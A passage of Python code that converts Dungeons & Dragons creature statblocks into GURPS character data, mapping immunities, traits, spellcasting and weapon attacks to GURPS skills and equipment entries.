\"base_points\": 50,\n \"calc\": {\"points\": 50},\n }\n # cold\n if \"cold\" in imm:\n immunity[\"notes\"] = \"Limited (Cold)\"\n default_data[\"traits\"].append(immunity)\n # fire\n elif \"fire\" in imm:\n immunity[\"notes\"] = \"Limited (Fire)\"\n default_data[\"traits\"].append(immunity)\n # poison\n elif \"poison\" in imm:\n immunity[\"notes\"] = \"Limited (Poison)\"\n default_data[\"traits\"].append(immunity)\n # acid\n elif \"acid\" in imm:\n immunity[\"notes\"] = \"Limited (Acid)\"\n default_data[\"traits\"].append(immunity)\n # lightning\n elif \"lightning\" in imm:\n immunity[\"notes\"] = \"Limited (Lightning)\"\n default_data[\"traits\"].append(immunity)\n # necrotic\n elif \"necrotic\" in imm:\n immunity[\"notes\"] = \"Limited (Necrotic)\"\n default_data[\"traits\"].append(immunity)\n # radiant\n elif \"radiant\" in imm:\n immunity[\"notes\"] = \"Limited (Radiant)\"\n default_data[\"traits\"].append(immunity)\n # thunder\n elif \"thunder\" in imm:\n immunity[\"notes\"] = \"Limited (Thunder)\"\n default_data[\"traits\"].append(immunity)\n # force\n elif \"force\" in imm:\n immunity[\"notes\"] = \"Limited (Force)\"\n default_data[\"traits\"].append(immunity)\n # psychic\n elif \"psychic\" in imm:\n immunity[\"notes\"] = \"Limited (Psychic)\"\n default_data[\"traits\"].append(immunity)\n # bludgeoning\n elif \"bludgeoning\" in imm:\n immunity[\"notes\"] = \"Limited (Crushing)\"\n default_data[\"traits\"].append(immunity)\n # piercing\n elif \"piercing\" in imm:\n immunity[\"notes\"] = \"Limited (Piercing and Impaling)\"\n default_data[\"traits\"].append(immunity)\n # slashing\n elif \"slashing\" in imm:\n immunity[\"notes\"] = \"Limited (Cutting)\"\n default_data[\"traits\"].append(immunity)\n # bludgeoning, piercing, slashing\n elif isinstance(imm, dict) and \"resist\" in imm:\n # Check if the value of 'resist' is a list that contains \"bludgeoning\", \"piercing\", \"slashing\"\n if set([\"bludgeoning\", \"piercing\", \"slashing\"]).issubset(imm[\"immune\"]):\n immunity[\n \"notes\"\n ] = \"Limited (Crushing, Piercing, Impaling, and Cutting From Nonmagical Weapons)\"\n default_data[\"traits\"].append(immunity)\n\n # Add Traits\n if \"trait\" in input_data:\n for trait in input_data[\"trait\"]:\n if trait[\"name\"] == \"Nimble Escape\":\n nimble_escape_trait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Nimble Escape\",\n \"notes\": \"Description\",\n \"base_points\": 5,\n \"calc\": {\"points\": 5},\n }\n nimble_escape_trait[\"notes\"] = (\n \"The \"\n + creature_name\n + \" does not have a limit on the number of times it can use the Retreat active defense and can take 2 steps during a Retreat. The creatures step action size also becomes a minimum of 2 yards.\"\n )\n default_data[\"traits\"].append(nimble_escape_trait)\n else:\n newTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Trait Name\",\n \"notes\": \"Description\",\n \"base_points\": 5,\n \"calc\": {\"points\": 5},\n }\n newTrait[\"name\"] = trait[\"name\"]\n description = trait[\"entries\"][0]\n newTrait[\"notes\"] = convert_to_gurps(description)\n default_data[\"traits\"].append(newTrait)\n\n # Spellcasting\n if \"spellcasting\" in input_data:\n newTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Trait Name\",\n \"notes\": \"Description\",\n \"base_points\": 5,\n \"calc\": {\"points\": 5},\n }\n if input_data[\"spellcasting\"][0][\"name\"] == \"Innate Spellcasting\":\n newTrait[\"name\"] = \"Innate Spellcasting\"\n description = convert_to_gurps(\n input_data[\"spellcasting\"][0][\"headerEntries\"][0]\n )\n if \"will\" in input_data[\"spellcasting\"][0]:\n description = (\n description\n + \"\\nAt Will: \"\n + convert_to_gurps(str(input_data[\"spellcasting\"][0][\"will\"]))\n )\n if \"daily\" in input_data[\"spellcasting\"][0]:\n description = (\n description\n + \"\\nDaily: \"\n + convert_to_gurps(str(input_data[\"spellcasting\"][0][\"daily\"]))\n )\n newTrait[\"notes\"] = description\n default_data[\"traits\"].append(newTrait)\n else:\n newTrait[\"name\"] = \"Spellcasting\"\n description = \"\"\n if \"headerEntries\" in input_data[\"spellcasting\"][0]:\n description = convert_to_gurps(\n input_data[\"spellcasting\"][0][\"headerEntries\"][0]\n )\n if \"will\" in input_data[\"spellcasting\"][0]:\n description = (\n description\n + \"\\nAt Will: \"\n + convert_to_gurps(str(input_data[\"spellcasting\"][0][\"will\"]))\n )\n if \"daily\" in input_data[\"spellcasting\"][0]:\n description = (\n description\n + \"\\nDaily: \"\n + convert_to_gurps(str(input_data[\"spellcasting\"][0][\"daily\"]))\n )\n if \"spells\" in input_data[\"spellcasting\"][0]:\n if \"0\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"0: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"0\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"1\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"1: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"1\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"2\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"2: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"2\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"3\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"3: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"3\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"4\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"4: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"4\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"5\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"5: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"5\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"6\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"6: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"6\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"7\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"7: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"7\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"8\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"8: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"8\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n description = description[:-2] + \"\\n\"\n if \"9\" in input_data[\"spellcasting\"][0][\"spells\"]:\n description = description + \"9: \"\n for spell in input_data[\"spellcasting\"][0][\"spells\"][\"9\"][\"spells\"]:\n # remove {@ from begginging of spell and } from end of spell\n description = description + spell[8:-1] + \", \"\n newTrait[\"notes\"] = description\n default_data[\"traits\"].append(newTrait)\n\n # Add Actions\n profPoints = convert_modifier_to_points(profBonus)\n if \"action\" in input_data:\n for action in input_data[\"action\"]:\n # Dagger -> Knife Skill, Knife Equipment\n if action[\"name\"] == \"Dagger\":\n # region Knife Skill\n knifeSkill = {\n \"id\": \"5ea7070f-c321-48cf-83c2-0d9d090c41a9\",\n \"type\": \"skill\",\n \"name\": \"Knife\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/e\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -4,\n \"level\": 7,\n \"adjusted_level\": 7,\n \"points\": -7,\n },\n \"defaults\": [\n {\"type\": \"skill\", \"name\": \"Force Sword\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Main-Gauche\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -3},\n {\"type\": \"dx\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(knifeSkill)\n\n # region Knife Equipment\n daggerEquipment = {\n \"id\": \"0542c749-259f-401f-b977-58fd127d2db2\",\n \"type\": \"equipment\",\n \"description\": \"Dagger\",\n \"reference\": \"B272\",\n \"tech_level\": \"1\",\n \"tags\": [\"Melee Weapon\", \"Missile Weapon\"],\n \"quantity\": 1,\n \"value\": 20,\n \"weight\": \"0.25 lb\",\n \"weapons\": [\n {\n \"id\": \"7ba39755-8571-43fa-a9af-4d6cc53df929\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"-1\"},\n \"strength\": \"5\",\n \"usage\": \"Thrust\",\n \"reach\": \"C\",\n \"parry\": \"-1\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Knife\"},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -3,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Main-Gauche\",\n \"modifier\": -3,\n },\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 11,\n \"parry\": \"7\",\n \"block\": \"No\",\n \"damage\": \"1d-3 imp\",\n },\n },\n {\n \"id\": \"7d6f591f-516a-4cc3-92bf-8971b0537f84\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"-1\"},\n \"strength\": \"5\",\n \"usage\": \"Thrown\",\n \"accuracy\": \"+0\",\n \"range\": \"x0.5/x1\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"T(1)\",\n \"bulk\": \"-1\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"specialization\": \"Knife\",\n },\n ],\n \"calc\": {\"level\": 7, \"range\": \"5/10\", \"damage\": \"1d-3 imp\"},\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 20, \"extended_weight\": \"0.25 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(daggerEquipment)\n # Light Crossbow -> Crossbow Skill, Crossbow (str 11) equipment\n elif action[\"name\"] == \"Light Crossbow\":\n # region Crossbow Skill\n crossbowSkill = {\n \"id\": \"d01481f1-7182-42d0-bf21-ab074ce090b2\",\n \"type\": \"skill\",\n \"name\": \"Crossbow\",\n \"reference\": \"B186\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"difficulty\": \"dx/e\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -4,\n \"level\": 7,\n \"adjusted_level\": 7,\n \"points\": -7,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -4}],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(crossbowSkill)\n # region Crossbow Equipment\n crossbowEquipment = {\n \"id\": \"02b33894-bf95-4d8b-81f6-2ee4ae858bb1\",\n \"type\": \"equipment\",\n \"description\": \"Crossbow\",\n \"reference\": \"B276\",\n \"tech_level\": \"2\",\n \"tags\": [\"Missile Weapon\", \"UsesAmmoType:Bolt\"],\n \"rated_strength\": 7,\n \"quantity\": 1,\n \"value\": 150,\n \"weight\": \"6 lb\",\n \"weapons\": [\n {\n \"id\": \"dff3833e-b0dc-4362-b65e-4628d2ba454a\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"4\"},\n \"strength\": \"7†\",\n \"accuracy\": \"4\",\n \"range\": \"x20/x25\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"1(4)\",\n \"bulk\": \"-6\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Crossbow\"},\n ],\n \"calc\": {\n \"level\": 11,\n \"range\": \"140/175\",\n \"damage\": \"1d+1 imp\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 150, \"extended_weight\": \"6 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(crossbowEquipment)\n # Club -> Broadsword Skill, light club Equipment\n elif action[\"name\"] == \"Club\":\n # region Broadsword Skill\n broadswordSkill = {\n \"id\": \"9bc4310b-f446-4fc5-b882-d8cce9b0918a\",\n \"type\": \"skill\",\n \"name\": \"Broadsword\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"skill\", \"name\": \"Force Sword\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Rapier\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -2},\n {\"type\": \"skill\", \"name\": \"Two-Handed Sword\", \"modifier\": -4},\n {\"type\": \"dx\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(broadswordSkill)\n # region Light Club Equipment\n lightClubEquipment = {\n \"id\": \"4fd55de1-10a2-4d24-9179-27798c4a51bd\",\n \"type\": \"equipment\",\n \"description\": \"Light Club\",\n \"reference\": \"B271\",\n \"tech_level\": \"0\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 5,\n \"weight\": \"3 lb\",\n \"weapons\": [\n {\n \"id\": \"3865e69a-4d81-406e-844d-e8cc2b0bcddb\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"sw\", \"base\": \"1\"},\n \"strength\": \"10\",\n \"usage\": \"Swung\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Broadsword\"},\n {\"type\": \"skill\", \"name\": \"Rapier\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -2},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d+1 cr\",\n },\n },\n {\n \"id\": \"480b3768-4946-4e04-b117-3d1b843b36f3\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"thr\", \"base\": \"1\"},\n \"strength\": \"10\",\n \"usage\": \"Thrust\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Broadsword\"},\n {\"type\": \"skill\", \"name\": \"Rapier\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -2},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d-1 cr\",\n },\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 5, \"extended_weight\": \"3 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(lightClubEquipment)\n # Scimitar or Shortsword -> Shortsword Skill, Shortsword Equipment\n elif action[\"name\"] == \"Scimitar\" or action[\"name\"] == \"Shortsword\":\n # region Shortsword Skill\n shortswordSkill = {\n \"id\": \"360f5f71-5201-47a5-a511-af7159565b9c\",\n \"type\": \"skill\",\n \"name\": \"Shortsword\",\n \"reference\": \"B209\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"skill\", \"name\": \"Broadsword\", \"modifier\": -2},\n {\"type\": \"skill\", \"name\": \"Force Sword\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Jitte/Sai\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Knife\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Smallsword\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Tonfa\", \"modifier\": -3},\n {\"type\": \"dx\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(shortswordSkill)\n # region Shortsword Equipment\n shortswordEquipment = {\n \"id\": \"dd4eb08c-679a-4e4b-834e-8d610f4d64cf\",\n \"type\": \"equipment\",\n \"description\": \"Shortsword\",\n \"reference\": \"B273\",\n \"tech_level\": \"2\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 400,\n \"weight\": \"2 lb\",\n \"weapons\": [\n {\n \"id\": \"12c9f475-1517-434b-9a98-b89941370fd2\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cut\", \"st\": \"sw\"},\n \"strength\": \"8\",\n \"usage\": \"Swung\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Shortsword\"},\n {\"type\": \"skill\", \"name\": \"Broadsword\", \"modifier\": -2},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Jitte/Sai\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Knife\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Smallsword\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Tonfa\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d cut\",\n },\n },\n {\n \"id\": \"c0366cd4-e9df-4ea5-b114-3fa3850b6dd5\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\"},\n \"strength\": \"8\",\n \"usage\": \"Thrust\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Shortsword\"},\n {\"type\": \"skill\", \"name\": \"Broadsword\", \"modifier\": -2},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Jitte/Sai\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Knife\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Smallsword\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Tonfa\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d-2 imp\",\n },\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 400, \"extended_weight\": \"2 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(shortswordEquipment)\n # Greataxe or Great Axe -> Two-Handed Axe/Mace Skill, Great Axe Equipment\n elif action[\"name\"] == \"Greataxe\" or action[\"name\"] == \"Great Axe\":\n # region Two-Handed Axe/Mace Skill\n twoHandedAxeMaceSkill = {\n \"id\": \"0f2e8a3a-8fb5-427d-8490-2233e3fa664e\",\n \"type\": \"skill\",\n \"name\": \"Two-Handed Axe/Mace\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Axe/Mace\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Two-Handed Flail\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(twoHandedAxeMaceSkill)\n # region Greate Axe Equipment\n greatAxeEquipment = {\n \"id\": \"459ab90c-7aab-4cf6-9613-32e582ac6b8d\",\n \"type\": \"equipment\",\n \"description\": \"Great Axe\",\n \"reference\": \"B274\",\n \"tech_level\": \"1\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 100,\n \"weight\": \"8 lb\",\n \"weapons\": [\n {\n \"id\": \"f6860129-d553-43d0-a82a-3bae8210a992\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cut\", \"st\": \"sw\", \"base\": \"3\"},\n \"strength\": \"12‡\",\n \"usage\": \"Swung\",\n \"reach\": \"1,2*\",\n \"parry\": \"0U\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Two-Handed Axe/Mace\"},\n {\"type\": \"skill\", \"name\": \"Axe/Mace\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Flail\",\n \"modifier\": -4,\n },\n ],\n \"calc\": {\n \"level\": 8,\n \"parry\": \"7U\",\n \"block\": \"No\",\n \"damage\": \"1d+3 cut\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 100, \"extended_weight\": \"8 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(greatAxeEquipment)\n # Hand Crossbow -> Crossbow Skill, Pistol Crossbow Equipment\n elif action[\"name\"] == \"Hand Crossbow\":\n # region Crossbow Skill\n crossbowSkill = {\n \"id\": \"d01481f1-7182-42d0-bf21-ab074ce090b2\",\n \"type\": \"skill\",\n \"name\": \"Crossbow\",\n \"reference\": \"B186\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"difficulty\": \"dx/e\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -4,\n \"level\": 7,\n \"adjusted_level\": 7,\n \"points\": -7,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -4}],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(crossbowSkill)\n # region Hand Crossbow Equipment\n handCrossbowEquipment = {\n \"id\": \"00941d41-0574-4d80-a6a3-54f2586b2cca\",\n \"type\": \"equipment\",\n \"description\": \"Pistol Crossbow\",\n \"reference\": \"B276\",\n \"tech_level\": \"3\",\n \"tags\": [\"Missile Weapon\", \"UsesAmmoType:Bolt\"],\n \"rated_strength\": 7,\n \"quantity\": 1,\n \"value\": 150,\n \"weight\": \"4 lb\",\n \"weapons\": [\n {\n \"id\": \"5e3257b7-30d3-431d-8f2a-e6bc491f02e2\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"2\"},\n \"strength\": \"7\",\n \"accuracy\": \"1\",\n \"range\": \"x15/x20\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"1(4)\",\n \"bulk\": \"-4\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Crossbow\"},\n ],\n \"calc\": {\n \"level\": 7,\n \"range\": \"105/140\",\n \"damage\": \"1d-1 imp\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 150, \"extended_weight\": \"4 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(handCrossbowEquipment)\n # Heavy Crossbow -> Crossbow Skill, Heavy Crossbow Equipment\n elif action[\"name\"] == \"Heavy Crossbow\":\n # region Crossbow Skill\n crossbowSkill = {\n \"id\": \"d01481f1-7182-42d0-bf21-ab074ce090b2\",\n \"type\": \"skill\",\n \"name\": \"Crossbow\",\n \"reference\": \"B186\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"difficulty\": \"dx/e\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -4,\n \"level\": 7,\n \"adjusted_level\": 7,\n \"points\": -7,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -4}],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(crossbowSkill)\n # region Heavy Crossbow Equipment\n heavyCrossbowEquipment = {\n \"id\": \"86cc2a19-4adf-4dd2-8ce7-c798946f1035\",\n \"type\": \"equipment\",\n \"description\": \"Military Crossbow\",\n \"reference\": \"LT74\",\n \"notes\": \"Steel crossbow (See LT78, Note 6)\",\n \"tech_level\": \"4\",\n \"tags\": [\"Missile Weapon\"],\n \"quantity\": 1,\n \"value\": 750,\n \"weight\": \"15 lb\",\n \"weapons\": [\n {\n \"id\": \"d0a00dea-04b6-4381-a827-13d8553dbd66\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"5\"},\n \"strength\": \"12†\",\n \"usage\": \"Fire Bolt\",\n \"accuracy\": \"4\",\n \"range\": \"x25/x30\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"1(32)\",\n \"bulk\": \"-6\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Crossbow\"},\n ],\n \"calc\": {\n \"level\": 12,\n \"range\": \"300/360\",\n \"damage\": \"1d+4 imp\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 750, \"extended_weight\": \"15 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(heavyCrossbowEquipment)\n # Spear -> Spear Skill, Spear Equipment\n elif action[\"name\"] == \"Spear\":\n # region Spear Skill\n spearSkill = {\n \"id\": \"71d611f4-adef-4c59-9e29-7828a5832a64\",\n \"type\": \"skill\",\n \"name\": \"Spear\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(spearSkill)\n # region Spear Equipment\n spearEquipment = {\n \"id\": \"25ddaedf-0710-4902-8eb3-36885c64219a\",\n \"type\": \"equipment\",\n \"description\": \"Spear\",\n \"reference\": \"B273\",\n \"tech_level\": \"0\",\n \"tags\": [\"Melee Weapon\", \"Missile Weapon\"],\n \"quantity\": 1,\n \"value\": 40,\n \"weight\": \"4 lb\",\n \"weapons\": [\n {\n \"id\": \"a0ab4b29-3d89-4e1a-b631-242a5dd9061a\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"2\"},\n \"strength\": \"9\",\n \"usage\": \"Thrust\",\n \"reach\": \"1*\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Spear\"},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n 